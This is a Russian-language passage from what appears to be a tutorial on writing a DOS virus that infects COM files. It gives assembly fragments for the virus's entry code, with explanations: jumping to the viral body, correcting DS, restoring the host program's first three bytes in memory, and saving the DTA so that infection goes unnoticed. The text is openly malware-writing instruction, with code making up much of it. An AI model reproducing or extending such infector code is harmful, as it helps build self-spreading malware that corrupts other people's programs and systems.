Запоминаем содержимое DTA

Восстанавливаем зараженную программу

Вирус получает управление

Начало работы

Для разработки вируса лучше всего использовать COM формат.Это сделает его отладку более простой и наглядной. Кроме того, структура COM - программы намного проще и понятнее, чем структура программы в формате EXE. Поэтому напишем стандартное начало COM программы:

prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h

Директива "assume cs:prg,ds:prg,es:prg,ss:prg" назначает все сегментные регистры одному сегменту с именем PRG, а директива "org 100h" нужна для резервирования места для PSP.

После этого вступления начинается собственно исполняемая часть программы (метка START):

start: jmp vir ;Передача управ- ;ления вирусному ;коду. .. org 110h

Команда "jmp vir" передает управление вирусному коду, а директива "org 110h" указывает компилятору размещать все коды после метки "vir",начиная с адреса 110h. Число 110h принято для удобства расчета смещений при разработке вируса. Чуть позже мы разберемся, зачем понадобилась команда "jmp vir", а пока продолжим:

vir: push ds ;Сохраним DS. .. ;Корректируем mov ax,ds ;регистр DS . .. db 05h ;Код команды add_to_ds: dw 0 ; " ADD AX,00h " mov ds,ax ;AX -> DS . ..

Поскольку в зараженной программе область данных вируса будет сдвинута хотя бы на длину этой программы, необходимо выполнить коррекцию регистра DS. Коррекция осуществляется прибавлением к его содержимому длины программы в параграфах,округленной в большую сторону. Например, длина программы составляет 401 байт. Тогда она содержит 25 полных параграфов и еще 1 байт. Округленное число параграфов будет равно 26. Эта величина и прибавляется к регистру DS. При заражении вирус рассчитывает корректирующее число и записывает его в область "add_to_ds". Теперь всякий раз при запуске зараженной программы оно будет использоваться вирусом для исправления DS. В запускающей программе DS корректировать не нужно, и поэтому для нее "add_to_ds" равно нулю.

Как было указано в 1.3 ( п.1 ), вирус должен после запуска зараженной программы восстановить в памяти компьютера ее исходные три байтa (не на диске, а только в памяти!). Пусть вирус хранит исходные три байта в области "old_bytes". Итак:

fresh_bytes: mov al,old_bytes mov cs:[100h],al mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],al

Вы конечно знаете,что в COM - программе при ее загрузке по адресу CS:100h всегда находится первая исполняемая команда. В остальном работа фрагмента ясна.

Data Transfer Arrea (DTA) является одной из служебных структур MS DOS. Эта область находится в PSP по смещению 80h, и активно используется последней при работе с файлами. Например,многие функции MS DOS обращаются к DTA для чтения или модификации ее содержимого. Поскольку DOS строит PSP для каждой вновь запускаемой программы, для каждой из них создается и своя DTA.

Так как наш вирус будет использовать при заражении и поиске файлов функции DOS,содержимое DTA зараженной программы будет испорчено, и она, скорее всего, не будет нормально работать.Поэтому содержимое DTA необходимо сохранить. Для этой цели выделим массив из 128 байт с именем "old_dta":

mov cx,80h ;Размер DTA - ;128 байт. .. mov bx,80h ;Смещение к DTA lea si,old_dta ;Адрес массива save_dta: mov al,byte ptr cs:[bx];Читаем из DTA ;байт и перено- mov ds:[si],al ;сим его в мас- ;сив. .. inc bx ;К новому байту inc si ; loop save_dta ;Цикл 128 раз

Работа фрагмента пояснений не требует...